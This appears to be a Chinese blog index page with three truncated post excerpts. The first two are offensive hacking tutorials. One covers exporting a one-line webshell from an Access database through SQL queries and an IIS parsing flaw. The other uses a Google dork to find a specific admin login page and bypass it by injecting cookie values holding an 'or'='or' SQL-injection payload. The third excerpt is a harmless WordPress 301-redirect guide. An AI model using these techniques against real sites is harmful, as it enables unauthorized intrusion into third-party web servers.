-
Access数据库导出一句话拿shell方法
实用环境,在Access后台其他方法不能拿到webshell 但是后台有SQL语句查询执行,就可以直接access导出一句话拿webshell了 不过需要知道物理路径才能导出,利用IIS的解析漏洞导出EXCEL文件拿到webshell,因为ACCESS数据库不允许导出其他危险格式。 至于怎么拿到物理路径就看你自己发挥了,报错或备份路径等。 逐一执行以下语句就可以导出一句话了 第一句代码 create table cm...阅读全文阅读全文
-
利用关键字后台批量拿shell
google:关键字:inurl:szwyadmin/login.asp 打开任意一个搜索结果,打开后台登录界面后,在地址栏中全部替换成下面代码: javascript:alert(document.cookie=”adminuser=”+escape(“‘or’=’or'”));javascript:alert(document.cookie=”adminpass=”+escape(“‘or’=’or'”));javascript:aler...阅读全文
-
wordpress linux主机和win主机设置301重定向方法
wordpress目前常用的空间操作系统是windows和linux,一般情况下建议使用linux空间,因为wordpress只有在lamp(linux+apache+mysql+php)架构下兼容性才是最优的,301重定向一般是针对SEO优化的,可以让多种形式的网站域名权重统一,有利于网站优化。下面为大家分享在wordpress在两种空间系统下301重定向的不同方法: 一般情况下所购买的的空间控制面板都应该有 301重定向功...阅读全文